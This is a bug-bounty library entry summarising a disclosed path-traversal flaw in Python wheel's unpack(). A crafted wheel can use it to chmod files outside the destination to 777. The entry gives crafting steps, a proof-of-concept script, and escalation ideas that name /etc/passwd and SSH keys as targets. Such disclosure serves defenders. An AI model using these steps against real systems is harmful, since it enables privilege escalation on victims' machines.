# Wheel Affected by Arbitrary File Permission Modification via Path Traversal in wheel unpack

wheel's unpack() chmods the unsanitized archive filename after safe extraction, letting a crafted wheel set 777 perms on files outside the destination.

- Payout: Research
- Severity: high
- Program: wheel
- Found by: kilkat, frenzymadness
- Disclosed: 2026-01-22
- CVE: CVE-2026-24049
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8rrh-rw8j-w5fx
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8rrh-rw8j-w5fx
- Tags: area:oss domain:oss impact:integrity impact:privesc kind:research platform:ghsa sev:high tech:python technique:source-review vuln:path-traversal vuln:privilege-escalation

**Target:** wheel.cli.unpack.unpack (also vendored in setuptools)
**Root cause:** unpack() extracts via zipfile (which sanitizes traversal) but then applies external_attr permissions to destination.joinpath(zinfo.filename) using the raw, unsanitized archive name, so '../' escapes the destination for the chmod.
**Steps:**
1. Craft a wheel whose RECORD includes a traversal path like `../../poc_target.txt` with a matching sha256 so integrity checks pass.
2. Add a ZipInfo for that path with `zinfo.external_attr = (0o100000 | 0o777) << 16`.
3. Call `unpack("evil-1.0-py3-none-any.whl", "unpack_dest")` from wheel or setuptools._vendor.wheel.
4. zipfile extraction is sanitized, but chmod is applied to the traversal path, flipping the outside file to 777.
**How found:** Noticed extraction is sanitized by zipfile but the subsequent chmod uses the raw zinfo.filename rather than extract()'s returned path, so the two disagree on the target path.
**Exploitation:** Attacker ships a malicious wheel; when a victim unpacks it, the post-extraction chmod follows '../' out of the destination and sets 777 on a chosen existing file (e.g. /etc/passwd, SSH keys, configs), enabling privilege escalation or code execution via now-writable scripts.
**Escalation:** Chmod to 777 on critical system files yields privesc or arbitrary code execution by modifying writable scripts.
**Insight:** When a library sanitizes a path in one step (extract) but reuses the original untrusted name in a later step (chmod, delete, rename), the second step is the traversal sink — audit post-extraction operations that re-derive paths from archive metadata.

## Proof of concept (copied exactly from the original report)

**Exploit script running unpack and checking perms**

```
from pathlib import Path
import sys

# Demonstrating impact on setuptools
try:
    from setuptools._vendor.wheel.cli.unpack import unpack
    print("[*] Loaded unpack from setuptools")
except ImportError:
    from wheel.cli.unpack import unpack
    print("[*] Loaded unpack from wheel")

# 1. Setup Target (Read-Only system file simulation)
target = Path("poc_target.txt")
target.write_text("SENSITIVE CONFIG")
target.chmod(0o400) # Read-only
print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}")

# 2. Run Vulnerable Unpack
# The wheel contains "../../poc_target.txt".
# unpack() will extract safely, BUT chmod() will hit the actual target file.
try:
    unpack("evil-1.0-py3-none-any.whl", "unpack_dest")
except Exception as e:
    print(f"[!] Ignored expected extraction error: {e}")

# 3. Check Result
final_perms = oct(target.stat().st_mode)[-3:]
print(f"[*] Final Perms: {final_perms}")

if final_perms == "777":
    print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!")
else:
    print("[-] Attack failed.")
```

